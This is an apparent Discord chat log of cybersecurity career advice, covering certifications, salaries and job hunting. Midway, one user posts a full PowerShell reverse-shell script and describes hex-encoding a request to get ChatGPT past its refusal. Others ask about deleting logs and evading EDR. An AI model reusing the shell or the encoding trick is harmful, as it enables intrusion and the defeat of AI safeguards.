Yes. Personally I can't complain because of all kinds of reasons my salary had a 50% increase in 2 years but especially the housing market is royally fucked rn

[fringe wigeon]

The dream would of course be to live in Germany but work in Switzerland, but that has its own complications (plus a lot of competition from other Germans wanting the higher wages and better taxes).

For now though, I am just thinking about the immediate future. Gotta get some experience in and then I can try crazy / greedy strats :)

[tall flax]

isn't it the case that you pay the income taxes in the country where you live more than 6mo/year? like your tax residence

[fringe wigeon]

Yeah fair, you'd have to live in Switzerland for most of the year probably. Pretty sure there are legal ways to have your cake and eat it too, but they are effort.

[rancid wyvern]

who know the kali linix hacking

[sleek sedge]

wut?

[rotund hatch]

define "Kali linux hacking"

Guys what is the best way to monetize my hacking skills (from Home)?
Like a few people said that BugBounty/BugHunting is the best way to do it, but are there another options?

[fringe rivet]

doing vr

find bugs in important software and report them

very few people are good at binary exploitation so if you're in the 1% who is good at it it can be very lucrative

[prisma trout]

hey guys i got my junior pen test certificate 3 days ago. 5 months ago i didn't even know linux was to scared to even try linux. and then one of my friends said i must try it and i got hooked couldn't stop still can't. and from linux i went to cyber security. im from south africa and i don't think we have a lot of hackers well i hope not lol and i know there is a lot more people on this group that is far more better than me so skilled but the question i have is about tryhackme. now don't get me wrong tryhackme is very nice and ive' learned a lot but am i learning the right programs compare to a real hacker? example metasploit vs https://bruteratel.com/ and netcat reverse shell no hacker will ever use it because his ip will show up. even google tells you that i know you learn the foundation but with todays tech shouldn't we be learning what real hackers are learning how am i suppose to to check a company and give my word that everything is fine if i know its not. todays hackers aren't in their 30's their 10 ,13, 16 years old . i might be wrong but just how i see it thanks

[rotund hatch]

Congratulations on earning your junior pen test certificate! It's inspiring to see how quickly you've progressed from being unfamiliar with Linux to diving into cybersecurity. Respect!
While platforms like TryHackMe are great for learning, supplement your knowledge with real-world experience and stay updated on industry trends.

So its a experience thing sometimes

[prisma trout]

thank you

[warm furnace]

Hello, I took a cyber security course 2-3 months ago and entered this field that I love. I couldn't use sites like TryHackme much, but the information the Udemy course gave me was very valuable. I think you should start a course and learn the basic functions.

[fringe spade]

Metasploit is often used by both white and black hat hackers sooo this knowledge isn’t worthless

Most of the stuff you learn here can be used in real life when you’re testing real companies

[warm furnace]

absolutely, it is always necessary to look for and check for vulnerabilities

[prisma trout]

thanks will check it out

[serene umbra]

Gave +1 Rep to @warm furnace (current: #2030 - 1)

[prisma trout]

thanks

[prisma trout]

will do

[ancient fossil]

just because there's newer methods, doesn't mean the old ones don't work if a company overlooks them etc

[prisma trout]

noted thank you

thanks for the advice appreciate it

[hushed meteor]

Hi guys I would like to ask you for some advice, I have a master's degree in data science so I am not new to the IT field but apart from some general knowledge through tryhackme now two years ago I know very little and I would like to take some imoprtant certification in pentesting. Do you have any advice on this? What certification would you recommend in this area to have the opportunity to make a career path change from data science to cybersecurity? Or even better do you know if exists a field that mix these two?

[loud fern]

OSCP is the standard certification for new pentesters and most commonly recognized one

Only cybersecurity field I can think of that could be related to data science due to its properties is Threat Intelligence, but don't take my word on it, there are a lot more people more qualified than me to comment on that.

[hushed meteor]

thank you Rannet!

[broken idol]

Enrolled in what, exactly?

[worldly owl]

Hi everyone, I'd like some input into a security internship decision. I need to decide by tonight/tomorrow morning and I'm having a hard time gauging which position would be better for my career in the long run. I have 2 offers: Microsoft Security Research intern, and NVIDIA Info Sec Analyst intern. In the long term, I see myself working in security engineering or DevSecOps.

Can I get some input into which internship would lend me the best experience to align with those long-term goals?

[pseudo creek]

with an internship, I wouldn't sweat it too much, did they each offer some details on what you would be doing?

[worldly owl]

NVIDIA did, as an infosec analyst intern I'd be automating some of their manual GRC tasks and meeting with customers about NVIDIA security measures. MSFT didn't give much insight into the security research internship because they said the project is dependent on the intern's abilities, so they don't decide until the intern has accepted, but the role is very much technical. To me, it sounds like NVIDIA aligns more with security engineering, but the role is not technical, so they already told me that I'd be building things because I come from a SWE background and can build things, not because the job requires it.

[pseudo creek]

personally, I'd go with Microsoft, but like I said, neither would be a bad thing

[worldly owl]

Thank you for the advice, i really appreciate the input

[serene umbra]

Gave +1 Rep to @pseudo creek (current: #14 - 475)

[flat sedge]

It's an internship, don't stress about which is better for your career long term. Both are going to be good for you, pick whichever one you think supports your career goals better.

[harsh kernel]

hpwd u land these

what was the interview processlike?

[worldly owl]

applied to 91 security internships lmfao 😭 For MSFT it was 3 45-minute interviews in a row with security researchers (all technical but only one LC easy coding challenge, the rest were technical security questions). For NVIDIA it was 2 30-minute interviews a few days apart, with a current infosec analyst and the hiring manager (no coding challenge since it is nontechnical position, a few technical security questions and mostly behavioral). I heard back from Microsoft a few months after applying, and heard back from NVIDIA within 1 month of applying.

[warm furnace]

Good job though. congratulations.

[rugged delta]

Well done on getting both of these opportunities. whichever you choose will certainly benefit your career

[warm hinge]

I Just started tryhackme and wanted to know if it would be possible for me to get a job just from this or if i need more experience

[brittle pier]

Need experience

Definitely helps tho doing these rooms

[stoic cave]

TryHackMe is a good way to supplement personal learning, but if you want to work in security you're going to need some prior professional experience or a degree.

[rugged delta]

You can read some of these success stories from people who used Try Hack Me to grow their skills and get a job and the full path they took
https://tryhackme.com/r/resources/success-story

[coral vault]

As I said before, just the fact that I was doing tryhackme and getting in some progress showed 'cyber affinity' to my current employer and that was enough to get me accepted to the position. That being said, it was an internal application (still a formal process) and they expect me to develop myself towards a technical position

[warm hinge]

Thank you bro

[serene umbra]

Gave +1 Rep to @stoic cave (current: #20 - 380)

[warm hinge]

Alr Thank You

[warm hinge]

thats good im gonna try do the same how long did it take you personally to learn everything you needed for the job

[coral vault]

3 months

But really, i am probably a fringe case. Be ware that:
*I work in government who are infinitely more patient with junior employees
*My employer is more than willing to provide me with time and training to get better. I do not make money for a company, I work for the government, so there is no money rush or crunch
*My background in previous jobs was sought after for the position I applied to. Yes it's a cyber job, which you could put in the 'governance' section, but my previous experience was what makes me valuable for this role, and only this role

*the government organization i work for has a policy that has an approach to creating their cyber people by training from 0 to hero instead of just fishing for talent in a highly competitive pool

[brittle pier]

That’s smart

Easier to get employees if you train them

[coral vault]

Yeah and they can afford the luxury of patience. Most likely, there will still be a government in 10 years (I'm not US)

[limber shale]

Also, it's honestly better to train fresh people, people who haven't developed bad habits while coding so you can train them in a way that prevents the development of said bad habits. It's always easier to teach someone something they no nothing about rather than trying to get someone to stop doing something the same way they've been doing it for years

[brittle pier]

Couldn’t have said it better

[pseudo creek]

the reality is that companies are hesitant to hire entry level people because entry level people aren't really useful until about 6 months in, sometimes even 1 year in. Like you don't really hit a rhythm until that point. At which point a company has spent money to train up someone, then they end up jumping to another company. Now what also happens is that if someone consistently jumps companies to increasing raises, they also end up not advancing in their skills as much as say someone who starts taking on more responsibility after 1 year. So if we had it so someone was likely to stay after year 1, companies would absolutely be willing to hire more entry level people but that isn't the case so they are less likely at that point to risk entry level people. Not to say it doesn't happen, it does.

[dense dagger]

I think one factor to also consider is the company’s size, growth rate, and how mature is their security programme. Bigger companies are more flexible in hiring entry level roles especially when they have new clients or new features being produced while smaller companies will opt for more senior people cause they will probably would want to keep a lean team.

Companies that are starting to take their security programme seriously now will look at more senior level roles rather than filling out with entry level people while people with more mature programmes are able to hire more entry level roles depending on the growth they are looking at.

[median snow]

can PJPT certification help me land my first jr pen test job or ill need more ?

[charred plank]

I think its exactly the opposite

Big companies only want to hire the seniors because theyve got the money while smaller companies hire juniors and teach them in hopes of them staying there

[charred plank]

Theres no ultimate answer to this. PJPT will definetly help you but you can also get hired without certificatea

[dense dagger]

True in some cases but you also have to factor in growth rate but I disagree with smaller companies hiring more juniors.

With a smaller company, you work with a much more constrict budget and your team won’t usually be that big. Factor in the investment to juniors, small companies might take less chances on entry level versus people with experience since there will be a much shorter time to train them up versus juniors.

[pseudo creek]

You also have to consider what business the company is in. All large companies will have in house cybersecurity teams. I work for one such large company. We do hire people directly out of college but the majority of our hiring seems to be people with some experience.

I have heard consultancies are more willing to hire junior employees because they are selling their cybersecurity services to outside companies.

[terse latch]

Can one secure employment solely based on TryHackMe certifications without a computer science degree?

[broken idol]

It's not impossible, but it's defiently not easy.

[terse latch]

especially remote part-time , or remote entry level positions

[spring nebula]

you dont need a degree at all (for entry) if you can prove that you know the topics & have expirience for example

[terse latch]

i see, but whats the best place to search, I used to check many websites such as remotive etc

[spring nebula]

i have a remote job, but in my country, i dont know the best way for international jobs 😦 i am sorry

[terse latch]

yeah i see,

[spring nebula]

in my way i would just search in the countrys that speak my language and lookup for a job that is remote. feels like most jobs today in it-security are anyway remote. apart of some special cases like forensics for legal reasons ofc

[gusty wyvern]

Hey y'all , is there a way u can piggyback on a gateway with a prepaid service

[sleek sedge]

wut?

[gusty wyvern]

Sth like getting free net on a prepaid gateway ??

[sleek sedge]

what gateway? what service?

[gusty wyvern]

an isp offering wifi connection services , for u to use that service , u have to buy a subscription package , is there a way sb can bypass that

[quick forum]

You know that would be illegal right?

[gusty wyvern]

I know that bro , can u help a brother out

[cunning shadow]

:hammer: redkite_21#0 has been banned.

[quick forum]

Bye.

[teal swan]

[timber stone]

Red teamers/ penetration testers. What are some projects that you'd see on someone resume and think "Oh that's interesting!". We hear about the keyloggers and port scanners and nothing is wrong with that. But what are some original project ideas? I'm trying to build some cool projects for my resume

[brittle pier]

Y’all what’s the difference between cyber security and information security. I swear it’s the same thing

[loud fern]

Information security is broader, cybersecurity is part of information security

[brittle pier]

Hm interesting

So I’m guessing information security can be anything that’s keeping information right?

[grave needle]

Infosec includes the keys to your filing cabinet.

[brittle pier]

Makes sense

Would a door lock count

[winter crane]

function Invoke-ReverseShell {
$IP = 'YOUR_IP_ADDRESS'
$Port = YOUR_PORT_NUMBER
$Client = New-Object System.Net.Sockets.TCPClient($IP, $Port)
$Stream = $Client.GetStream()
[byte[]]$Bytes = 0..65535|%{0}

while(($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0){
    $Data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Bytes,0, $i)
    $SendBack = (Invoke-Expression -Command $Data 2>&1 | Out-String )
    $SendBack2 = $SendBack + 'PS ' + (pwd).Path + '> '
    $Sendbyte = ([text.encoding]::ASCII).GetBytes($SendBack2)
    $Stream.Write($Sendbyte,0,$Sendbyte.Length)
    $Stream.Flush()  
}
$Client.Close()

}

Note: Replace 'YOUR_IP_ADDRESS' with the IP address of the listener (e.g., your machine) and 'YOUR_PORT_NUMBER' with the port number you're listening on.

To start listening on your machine, you can use Netcat (nc) with the command: nc -lvnp YOUR_PORT_NUMBER

WARNING: This script opens up a backdoor to the machine it's executed on and should only be used for educational purposes or authorized security testing.

``` ​【oaicite:0】​

Backdoor

Made by chatgpt

[stoic cave]

?

[winter crane]

No actually

I converted my text to hex and the asked gpt to follow the hex instructions

Sorry its your name 😂

[dense dagger]

Red team infrastructure

Learn how to build it, automate it, and how to integrate it across different providers

Bonus points if you include OPSEC considerations

[timid salmon]

is it still a thing?

I think I did read a blog abt it a long time ago.

[timber stone]

Do you mean C2 servers?

[dense dagger]

No, not just C2 servers. Your entire infrastructure. Like your short term infra to send test payloads on the org so you dont burn your actual infra, redirectors, phishing component, how you’d obscure it, secure it, etc.

[timber stone]

Okay I'll need to do more research about it. I don't know about all that. Do I need to program all those or can I integrate multiple tools?

[dense dagger]

You can integrate multiple tools, you’ll also be delving in a bit of DevOps pipeline for it

You can also do something a bit smaller, creating a CICD pipeline for your red team tools

ZeroPoint security has a good course on it for 30 GBP i think

[timber stone]

Do you happen to know of any resource online to learn about it?

[dense dagger]

For red team infra, i think theres lots on Google

I dont know any off the top of my head

[timber stone]

Okay thank you I'll research tonight!

[winter crane]

I tried this using hex about 7 days ago but it only generate code for backdoor i tried making ransomware but it did not 😕

I have a question :
How hard is finding bugs should i start studing bug bounty from htb or thm is it worth it ?

[warm hinge]

I know that there is a good demand for cyber security analyst as a broader field but any of you guys know about forensics/malware analysis field particularly?

the demand of those fields and maybe how to break into the industry

thru that

[limber shale]

Well, if you want to do malware analysis, you'll most definately want to learn a few things about reverse engineering. You can find sites like MicroCorruption that are completly dedicated to this. They even offer you to apply for any of their positions, but you'll need a degree and probably two years experience

[warm hinge]

can you give me an idea of how that particular field might evolve in the future?

[dense dagger]

The use of AI to do basic checks, make some analysis, then it’ll be up to the analyst to confirm it

[lofty quiver]

hi guys can i ask for some career advice

[pseudo creek]

thats what this channel is for

[heady rapids]

A theoretical question, did an attacker manage to find sqli and the attacker wants to dump, does he have the option to delete logs? Is there an edr or a soc department that can catch it and how can it actually bypass it? I realized that if the attack is done at a slower pace then it can lower the suspicion, but is it possible to make logs disappear?

[undone shore]

Sure. Plenty of ways, depending on how badly you want them deleted 🤷‍♂️

The real question is: why would you want them gone?

[cyan pollen]

Guys.. I've been wondering. For those of you who already have careers in cybersecurity. How much is an average salary for an entry level job in your country and is the same salary available for remote workers?
I'm preparing for a little white vs black hat debate, could use all the information anyone would like to share.

[cyan pollen]

I'm seeing you here for the first time. Thanks for all your content@undone shore. I really love your rooms on thm

[serene umbra]

Gave +1 Rep to @undone shore (current: #9 - 739)

[flat sedge]

there is no debate, black hat discussion beyond "it's illegal don't do it" is not allowed in this server.

[cyan pollen]

Nonetheless I would still argue that it's better to be on the white side. But I would still like to know what anyone should be expecting at entry level and white is too little to accept. Especially from different countries

[cyan pollen]

Understood. I wasn't going to discuss it on the server though. But where I'm from, there's this potrayal of white has as less advantageous. Wanted to argue it out with some friends of mine. But I'll take your advise anyway. No such discussion on the sever.

[flat sedge]

The big advantage to not breaking the law is that you don't have to worry about jail time, fines, and the potential of not being allowed to own or touch technology.

There's also the ethical question of what kind of person do you want to be: do you want to be a thief and dishonest, or do you want others to be able to trust you, and to act in a way that benefits society and yourself?

[heady rapids]

I had a research project running some sqli payloads and was told to execute it "cleanly" to your question is this legal

[cyan pollen]

Exactlyyy!! I really don't understand why some people would rather take the risk. Last year a bank employee in my country stole an equivalent of about $92,000 through cyber fraud and tried to escape the country with his girlfriend and got caught. He's facing jail time now. Personally I think a lot of people I decieved by the way movies portrayal breaking the law us cool. One criminal being chased by organizations and evading them all. While it portrays white hats as some dudes ignored in a basement, with no social life, no friends and no soft skills and I strongly disagree with that.
Ultimately I don't think breaking the law is worth it under any circumstances for any reason. On Salary.com it says that average entry level job salary for cybersecurity analysts is about $100,000. $8,000 more than what was stolen in that incident.
In addition to ethics, I think it is actually more rewarding to be white than black. I just want to know from someone who can confirm it first hand.

[pseudo creek]

it can vary quite a bit on the average salary for entry level even within a country

[cyan pollen]

Oh okay, what's the average in your country?

[pseudo creek]

I dunno, I'd have to google but I'm in the US so it varies widely, an average wouldn't really tell you much

[cyan pollen]

Oh okay... I'll keep searching.
Thanks anyway 🤗

[serene umbra]

Gave +1 Rep to @pseudo creek (current: #14 - 476)

[heady rapids]

Hi, I would really appreciate help to really understand my question, thank you very much in any case

[serene umbra]

Gave +1 Rep to @undone shore (current: #9 - 740)

[flat sedge]

you wrote the question, are you saying you don't understand the question you asked?

[heady rapids]

im asking

[undone shore]

"Cleanly" does not have a standardised definition in that context. I'd personally take it to mean "executes successfully and does not throw an error", but even then error-based blind SQLi works by deliberately throwing errors, so is that inherently unclean?
Either way, if the server has been configured in line with best practices then everything will be logged and monitored. Disrupting that is always possible but may require... extreme... measures, which wouldn't apply to a research project (unless you've coded in another vulnerability which aides you there), and would always be out of scope in a pentest / red team engagement.

[heady rapids]

I understand, thank you very much

[serene umbra]

Gave +1 Rep to @undone shore (current: #9 - 741)

[undone shore]

Np 🙂

[cyan pollen]

Can you offer me some insight into my question? I'm wondering what the average entry level salary for a cyber security analyst is 😅

[undone shore]

Cyber Security Analyst, as in, SOC analyst? £25,000 - £35,000-ish for entry-level, depending on past experience, etc

[heady rapids]

Can using a proxy lower the level of suspicion both from the edr system and from the soc department? By the way, thank you very much for the help, I remind you that everything is for study purposes and I do it as a job

[undone shore]

Think about what does a proxy actually do?

[heady rapids]

I understand, but for every req I will use a proxy, isn't that excessive? Isn't it better if I do the attack more slowly?

[undone shore]

Wut..?

[heady rapids]

I mean using a proxy is a bit excessive?

Isn't it better to make the dump slower?

[undone shore]

That depends entirely on the context.

Those two things aren't related

[heady rapids]

why

[undone shore]

Well, why would you use a proxy, and why would you make the process slower?

[heady rapids]

I thought so that the edr system would not alert the soc department

If I'm wrong I'd love to learn

[undone shore]

Why would a proxy help with that? 🤔

[fringe spade]

If you’d use a proxy that’s publicly known then it would be flagged immediately

[heady rapids]

If it sees all req very frequently from one ip address it will alert as something suspicious

[cyan pollen]

Yes.. I did mean SOC. So that's the range in the UK. Is it same for a remote worker?
sorry to be so curious, but what about a Penetration tester's salary at entry level?

[undone shore]

Oh, you mean rotating proxies?

[undone shore]

Remote workers as in working from a foreign country or remote as in working from home but within the country?

[cyan pollen]

I meant remote workers from foreign countries. But I'm now curious about those within the country as well.

[undone shore]

Pentest salary entry level tends to be higher, but it's also harder to get into with no previous experience, so it kinda balances out. Not sure what it is across the industry in the UK, simply because it tends not to be an immediate grad job so I've not seen as many of my peers go into pentest jobs as I have seen them go into SOC jobs.
Rough estimate I'd say probably around £30k-£50k "entry level". I started on about £45k straight out of uni joining an internal finsec pentest team, but consultancies tend to pay more than internal teams, so 🤷‍♂️

[undone shore]

WFH within the country is unlikely to be less (or much less at any rate). Orgs tend to pay in bands according to location (e.g., if I were based in London I'd be paid more than I am being based up north simply because the cost of living is significantly higher down there).
In terms of remote workers in foreign countries, I'm not sure I'm afraid. My experience is of the financial sector which tends to be quite strict with remote working -- e.g., we only take people from countries in which we already have a presence (i.e., an office), which I don't think even counts as remote work at that point 😆

[cyan pollen]

Thanks a million @undone shore

[serene umbra]

Gave +1 Rep to @undone shore (current: #9 - 742)

[undone shore]

Np 🙂

[pseudo creek]

my company bases pay on where you live. We don't hire people from foreign countries for cyber security positions but what we do is may have an office in a foreign country (UK, AU for instance), they may be allowed to do limited work for the US but they are paid salaries that are standard in said country they reside

[cyan pollen]

Oh wow.. I see.

[brittle pier]

Do you guys work with other country’s tho

[pseudo creek]

our cybersecurity is 99% for in house cybersecurity only, there is some external work but that is limited and that work is performed by those in country. So we do have offices around the world

but like we have a follow the sun model for our SOC teams, so teams in the UK/AU may cover US off hours, meanwhile similarily for UK/AU, US may cover off hours for those countries

[warm hinge]

thanks I know a bi of reverse engineering to the point where it doesn't overwhelm me from the grt go anymore

[serene umbra]

Gave +1 Rep to @limber shale (current: #476 - 9)

[warm hinge]

however i wouldnlike to improve that

anyone got any training programmes

or anything like that??

[warm hinge]

thank you too much appreciated

[dense dagger]

Check Open Security’s traning 🙂

It is also free

[warm hinge]

oh cool thanks 👍

[winter crane]

Can someone please tell me if i should take training from darkweb hackers ?

[stoic cave]

No?

I think you should take some time to consider what you just said, and then realize what you're asking/considering on doing.

[brittle pier]

https://tenor.com/view/spongebob-a-hell-nah-spongebob-no-meme-gif-23205156

[west sonnet]

Where is this question coming from?

[brittle pier]

Hassan

[pseudo creek]

you are being too literal, we should drop this line of questioning

[serene iron]

How to lose your identity in 3 simple steps

[pseudo creek]

what did I say above? drop this line of questioning. Also what does any of the rambling you posted have to do with careers?

[uneven crescent]

who deleted my message

[uneven crescent]

?

[pseudo creek]

I did, I said drop the topic, also what you posted had nothing to do with the channel topic which is careers

[cunning shadow]

@uneven crescent has been warned.

[winter crane]

Me?

[cyan pollen]

I'm not gonna lie, I'm kinda discouraged 💔 😅 😂

[winter crane]

Getting trained from darkweb hackers does not mean to become a blackhat bro its just all about knowledge they have .

What do you guys think fr

[bright wing]

Im new into CS and even i know its a terrible idea.

[pseudo creek]

What you decide to do is up to you but also playing with fire but like I said, this topic is closed, no more discussion

[winter crane]

Ok ma bad

[cobalt reef]

whats the general expectation experience/qualification wise for ciso's

[unreal arrow]

Well from what I seen a lot of jobs ask for CISSP, which you need 5 years proven experience before you can even take the exam

[cobalt reef]

yeah i should qualify for CISSP i just cant afford to take it atm, i've got 3 years experience as an IT Manager,and been programming since 2012 bachelors in IT and currently working towards a masters of cyber security, originally my goal was security architecture but not much point coupling that with a degree and thinking ciso roles might be a better fit since most the commercial experience i have is in it management

long story short trying to work out what sort of roles i should be going for or what sort of process i should be looking into to eventually land a ciso role

im fairly confident in most areas i'd need to do the tasks within the role but my concern is essentially breaking into that role with the experience and qualifications i have

[unreal arrow]

@pseudo creek will be able to help when she is on as she has the experience of taking the exam and has a lot of expeience in this area

[cobalt reef]

yeah i spoke to her before since security architecture was original goal, also part the reason trying to find out what i'd have to do to eventually move into a ciso role since i plan on doing the full masters eventually

[gloomy peak]

you will need endorsement from a current isc2 member as well

also imo official cissp video course is useless

just buy their reference book + practice tests

scram for a weekend or two and you should be good

it’s mostly just memorising stuff, nothing special really

but people in suits like isc2 so still worth it

[pseudo creek]

ehh I took the CISSP eons ago so I'm not that much help

[pseudo creek]

a CISO wil have a wide variety of experience, often experience working in GRC

[cobalt reef]

going from it management what would you recommend being a good next step towards that? should i be aiming for entry or should i be aiming for something that equates

[pseudo creek]

I mean it depends, usually for cybersecurity management, they would want you to have cybersecurity work experience

[cobalt reef]

was thinking since alot of it is it management could go hand in hand but not sure tbh so trying to work out best way to fill that gap

or would it be essentially go for entry level

[pseudo creek]

well since you worked in management, you could try to figure out what jobs best fit you, like I said GRC is a good one and no you wouldn't be going for an entry level job although more technical jobs would want you to have more hands on experience before stepping into a more senior role

GRC isn't usually a technical role so it might be a good one for you

[cobalt reef]

that makes sense, thanks

[lunar bobcat]

Of what use is a CC cert from ISC2? I completed the theoretical side, and I was a bit displeased with how little it covered practical stuff, and was instead more theotretical

Now I get that it is meant for absolute beginners, but still

[lunar bobcat]

I just need to take it now

[woven rampart]

Afaik There's no practical certs made by ISC² @lunar bobcat

[dense dagger]

The ISC2 has lots of different perks

Aside from the cert itself

[lunar bobcat]

Ngl, I learned so stuff I didn't know related to certain procedures

[lunar bobcat]

so sure

[pseudo creek]

I don't know much about it but that is them trying to get a super beginner cert, it doesn't have any value really

[lunar bobcat]

For being a beginner myself, I see it as more of a filler, still

"Real" exams are something like CISSP, OSCP, etc

[pseudo creek]

most people don't know about CC outside of beginners

like hiring managers, HR, etc

and yes, it is recommended that if you want to, take the CISSP, get the 'associate of ISC2' title until you get the experience

[lunar bobcat]

and how do I go about it?

[pseudo creek]

well first step would be, figure out if it is what you should be really prioritizing over other things

if you are looking for an entry level job, things like Security+, understanding various technologies are probably more critical

[lunar bobcat]

I like to think I have a passion for cybersecurity

and so at first I'd look for working as a SOC analyst

as an example

[pseudo creek]

so then things like Security+, possibly CySA+, Splunk and overall just general IT concepts (networing, OS, cloud, programming)

[lunar bobcat]

programming is not my stong point ://

[pseudo creek]

well understanding it is useful, especially scripting

but its not a requirement

[lunar bobcat]

Understanding, yes. Coding, no.

[gloomy peak]

CCSP, CISSP are almost equally theoretical tbf 😅 that’s just isc2 style

[stray summit]

Hi Everyone! Hope everyone is doing well ! I have IT experience, security+ and have side projects as well. Other than networking and applying to usually job boards like (linkedin, indeed, builtin, etc), what is another good website to find a cyber security position?

[fringe wigeon]

You can directly check the websites of companies you're interested in, if there are any. Big consultancies usually have a lot of open jobs in various positions.

Not sure if it's popular where you live or if you use it already, but stepstone is also a good website to look.

[stray summit]

okay thanks. yeah im in the US so I do go on the company websites since thats the best thing. But Ill check out stepstone as well.

thanks again !

[fringe wigeon]

Hope it helps

[cobalt nymph]

Hello everyone! I'm seeking information on various types of cryptographic attacks on protocols like TLS and SSH to enhance my cryptography skills. If anyone has knowledge about different security attacks in this domain, please share the information. I would appreciate any assistance!

[rain stratus]

you can check the book Real World Cryptography, it has the attacks, as well

[cobalt nymph]

Thank you for providing the information

[serene umbra]

Gave +1 Rep to @rain stratus (current: #1015 - 3)

[broken idol]

Is this school work?

[cobalt nymph]

I am developing a C++ library that covers protection against attacks such as MITM, POODLE, BEAST, Heartbleed, and Oracle. I believe that during the process, I will be able to discover other types of attacks

[dense dagger]

Aren't those attacks very old?

Using TLS v1.3 negates all of the aforementioned. MITM on the otherhand, in what scenario are you looking at?

[cobalt nymph]

Yes, those are old types of attacks

[cobalt nymph]

There is a risk of downgrading the TLS 1.3 protocol version. Even though it is improved, this poses a threat of old attacks being used as a result.

I haven't fully figured out the solution for defending against attacks yet; most likely, I'll be using various methods such as Proof of Work, HMAC, Certificate, tokens, etc.

[spiral lodge]

What type of positions should I be looking for if I wanna move from software engineering to cyber security with a Comp. Sci. degree and Sec+ cert?

I only have about 2 years professional experience

[lunar bobcat]

prolly SOC Analyst, and if you really want

since you have experience on board

maybe like a SOC Analyst with more duties

different companies request different things

[spiral lodge]

Ok. I wasn’t sure what exactly to look for since each job post for the same title have different duties/requirements

[dense dagger]

what are your specific experience with software engineering?

[spiral lodge]

Nothing security related

Aircraft interface stuff

[dense dagger]

so, doing coding and creating features?

[spiral lodge]

Ehh

I work for the government so we haven’t really done anything

Just projects that get tossed

[dense dagger]

have you been involved with stuff such devops or sysadmin ?

[spiral lodge]

So I have a little experience in a lot of things

Yeah I’ve done some docker stuff

Not much depth

Setting up pipelines on ADO, docker stuff for developing, etc

[dense dagger]

you could try an appsec role

have you tried applying security principles into those pipelines, docker, etc. ?

like not running containers with root privileges

[spiral lodge]

Not really since we don’t use the pipeline

[dense dagger]

you have projects outside of work that you apply security?

[spiral lodge]

Damn soc analyst salaries are not looking great

[spiral lodge]

There is a scary lack of positions around me

[fringe spade]

Try job fairs

[spiral lodge]

Where?

[fringe spade]

Universities around you, conferences

[spiral lodge]

The only person who goes to the job fair at my local university is the people I work for :^)

Not sure what we have here for conferences… I know a nerd convention I’m going to September has an IT/security subsection I could network at

[spiral lodge]

DICE southeast is tomorrow 3 hrs away

[fringe spade]

That looks interesting

Check which companies have offices near you and maybe apply directly

[spiral lodge]

I’m looking a few hours away because this area sucks for tech

[brittle pier]

Is there a point in making a LinkedIn account if you’re not looking for a job in the industry at the moment?

[spiral lodge]

Always good for potential recruiters to reach out/network

[spring verge]

Hello , need some advices ... well i m a cybersecurity graduated but i worked for three years as a software engineer ....now i think it s time to go back to what i like more ....but don't know from where i can begin (certs , courses ...)

[cobalt nymph]

What can you advise for protection against protocol downgrade attacks?

[brittle pier]

Ask in #general

[errant halo]

gyus, need help
I resently passed the Jr pentester course
and realize that i interested in web hacking and mb Networks and ABSOLUTELY NOT in privEsc
What i need to do\learn next?

or need to ask in other rooms?

[faint ice]

#web-fundamentals-path

[errant halo]

thx

[pseudo gust]

is soc level 1 and soc level 2 learning path enough to get an entry level blue team job?

[polar aspen]

It get you started but you need to do more

Need more experience and projects if possible

[warm furnace]

I spend my limited time on cyber security instead of preparing for the university exam :d

[brittle pier]

Uni is more important then tryhackme. Hate to say it but it’s true

[warm furnace]

Yes, but we have a problem, I need to take a break from one of these. and I don't want it to be cybersecurity

[brittle pier]

got any other activities you can do?

[grim jewel]

From what I understand most people are starting with ( Comptia ) Network + , Security + , Pentest + , & then try other stuff like TryHackMe .. etc ( I was suggested to place , this question here )

Let me know if this is the " ideal " path , people should take.

[ocean acorn]

Hello everyone, I'm quite new to the field which made me create a new profile linkdin, I'm trying to build some connections and would appreciate adding me 🤘 : https://www.linkedin.com/in/amine-elguermi/

[solid agate]

Hey guys I am prepping for Active Directory to clear OSCP any suggestions in THM learning modules that can help ?

[dense dagger]

the THM Active Directory networks are good

[keen flax]

so does anyone here got experience moving their major from networking to cybersecurity?

would like some advice on how you guys do it

i'm currently eyeing for CompTIA Pentest+ and CEH

I also keep OSCP for my endgame goal, but I know I'm way too far for something that advanced

[pseudo gust]

Can you suggest some projects

[dense dagger]

Pentest+ and CEH are vastly different. I think Pentest+ goes more in how to manage a pentest and CEH is just all around tbh

CEH has bad rep, Pentest+ is something required by US govt agencies I think ?

OSCP is not really that advanced. It's marketed as an entry-level certification to pentesting

[pseudo gust]

Do you think HTB CDSA and CPTS are good ?

[dense dagger]

Yes, very good. The only thing stopping them is they aren't that recognized yet

[pseudo gust]

But doing those will get you skill and experience? Which are required for jobs right?

[dense dagger]

Skill? Yes. Experience? No

[pseudo gust]

Oh okay Thanks for the talk bro

[serene umbra]

Gave +1 Rep to @dense dagger (current: #22 - 358)

[keen flax]

lots of people can say that, but not me lol. I only have CTFs and some network-related security skills, considering my expertise now is on enterprise networking.

I've always intended to move to cybersecurity once I've completed my bachelor degree and CCNA, which expires next year. Guess now is the good time for that, but i still have no idea how

[dense dagger]

If you want to tackle OSCP, do Jr. Pentester Path -> Offensive Security path -> Wreath Network

Then you will be prepared

[keen flax]

alright, thanks 4 the help

[serene umbra]

Gave +1 Rep to @dense dagger (current: #22 - 359)

[south monolith]

Not to mention if you do CPTS path and do exam if you pass you ready for OSCP because that CPTS much harder then OSCP

And big difference in CPTS you get 2 attempts and 10 days. In other hand OSCP you get 24 hour only for attacking and 24 hour for report which is kind of short time

Like Mknukn mentioned CPTS not recognizable around globe so if you really looking to get a job try to do OSCP and it will help you a lot

[keen flax]

i can try to do both honestly. Im a network engineer currently. And as of now, my focus is to shift from network engineering to SOC/red teaming jobs that my company have. So, for my situation now, OSCP and Pentest+ are more important. But skill wise, I'll look into CPTS as well

[south monolith]

Nice you do both obviously but it all about budget but yeah good luck 👍

[west sonnet]

Hey all, taking the Pentest+ tomorrow, does anyone here have any tips or gotchas from your experience to look out for?

[rugged delta]

Best of luck with your exam. I'm sure you've practiced plenty and understand all the concepts discussed in the training you took. Just read the questions carefully and make sure the answers you choose accurately reflect the question being asked. Many multiple choice tests rely on your interpretation of the terminology in the questions. I don't think anybody can give you details about the exam content itself, apart from how the questions will be similar to many of the practice questions in the associated study guide, etc.

[south monolith]

https://tenor.com/view/just-asking-ask-clarification-asking-gif-12183126

[winged haven]

Hey all, hope everything is going well wanted to put it out here is there anyone that knows of possible entry level job opportunities out there it’s been extremely difficult for me to find and acquire a entry level position in the cyber security career field. I am currently working on my BS in Information technology with a special in cyber so anything would help.

